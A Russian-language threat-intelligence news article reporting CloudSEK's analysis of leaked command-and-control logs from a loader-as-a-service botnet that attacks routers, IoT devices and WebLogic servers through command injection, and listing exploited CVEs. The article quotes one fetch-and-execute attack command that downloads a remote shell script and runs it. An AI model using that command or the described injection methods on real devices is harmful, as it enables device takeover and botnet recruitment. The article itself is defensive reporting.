Главная страница » Индикаторы компрометации
0
1 год
Индикаторы компрометации

Киберразведка CloudSEK раскрыла масштабную операцию ботнета через открытые логи управления

botnet

Компания CloudSEK, специализирующаяся на киберразведке, обнаружила и проанализировала деятельность сложного ботнета, получив доступ к журналам управления и контроля (Command and Control, C2) злоумышленников за последние шесть месяцев. Операция использует модель Loader-as-a-Service (LaaS, «Лоадер-как-услуга») и систематически атакует SOHO-маршрутизаторы, устройства Интернета вещей (IoT) и корпоративные приложения через уязвимости внедрения команд в веб-интерфейсы. Пиковая активность атак, пришедшаяся на июль-август 2025 года, показала рост на 230%, после чего злоумышленники заблокировали доступ к серверу с логами.

Описание

В ходе рутинного сканирования вредоносной инфраструктуры система TRIAD от CloudSEK обнаружила логирующие серверы, используемые субъектами угроз. Анализ журналов команд управления, отданных злоумышленниками за полгода, предоставил уникальную информацию об используемых векторах атак и инфраструктуре. Ключевые маркеры в логах, заключенные в квадратные скобки, указывали на конкретные модули панели управления ботнетом.

Модуль [ReplyPageLogin] фиксировал попытки первоначального доступа, когда автоматизация отправляла POST-запросы на авторизацию с логинами и паролями, выявляя успешные входы, часто с использованием учетных данных по умолчанию. Модули [ConfigSystemCommand] и [SystemCommand] отвечали за стадию внедрения и выполнения, записывая строки атак в параметры системных команд, такие как команды загрузки и выполнения типа "wget -qO- http://IP/rondo.*.sh | sh". [ReplyErrorPage] отмечал неудачи выполнения, а [ReplySuccessPage] - успешное принятие запроса устройством, что означало вероятный успех компрометации. Модуль [ReplyDeviceInfo] использовался для сбора информации об устройстве после взлома, чтобы определить архитектуру для загрузки соответствующего вредоносного ПО.

Основными целями ботнета стали серверы Oracle WebLogic (чесью уязвимости удаленного выполнения кода), маршрутизаторы для малого офиса и домашнего использования (SOHO) и устройства на Embedded Linux. Атаки проводились через уязвимые поля веб-интерфейсов, такие как настройки NTP, syslog, имени хоста, а также через endpoints обновления прошивок и диагностики. Злоумышленники активно использовали инъекции команд в несанитизированные POST-параметры, загрузку полезных нагрузок через HTTP с последующим выполнением через shell, а также альтернативные протоколы TFTP/FTP. Для повышения переносимости применялись инструменты BusyBox.

Моникриминг (криптомайнинг) был идентифицирован как один из способов монетизации, о чем свидетельствуют нагрузки, подключающиеся к майнинговым пулам. Инфраструктура ботнета демонстрировала высокую устойчивость за счет использования множества резервных хостов для доставки payload (полезных нагрузок). Также наблюдалась эксплуатация известных уязвимостей, таких как CVE-2019-17574 в плагине Popup Maker для WordPress, CVE-2019-16759 в vBulletin и CVE-2012-1823 в PHP-CGI.

Прямое воздействие на бизнес включает компрометацию корпоративной инфраструктуры, например, через атаки на WebLogic, Struts2 и JNDI-инъекции, что может привести к утечке данных, перемещению внутри сетей и развертыванию программ-вымогателей (ransomware). Риски для цепочки поставок и инфраструктуры связаны с систематическим взломом сетевых маршрутизаторов, что затрагивает корпоративные периферийные устройства, и потенциальными атаками на отравление NTP-серверов. Компрометация устройств малого бизнеса и IoT создает дополнительные угрозы для корпоративных клиентов через третьи стороны.

Операционные последствия включают возможные сбои в работе бизнеса из-за потребления полосы пропускания ботнетом, участие зараженных устройств в DDoS-атаках и нестабильность сети. Это увеличивает нагрузку на группы безопасности, требуя усиленного мониторинга и выделения ресурсов для охоты за угрозами на разнообразных поверхностях атаки.

Индикаторы компрометации

Связанные индикаторы

Сдаётся рекламное место
Комментарии: 0
Похожие записи
0
31.08.2026
Индикаторы компрометации

Дайджест индикаторов компрометации: ботнет Mirai (24.08.2026 – 30.08.2026)

mirai
Mirai - классический пример IoT-ботнета, который десятилетиями заражает сетевые устройства на Linux: IP-камеры, роутеры, системы сигнализации. В этом обновлении мы собрали свежие индикаторы компрометации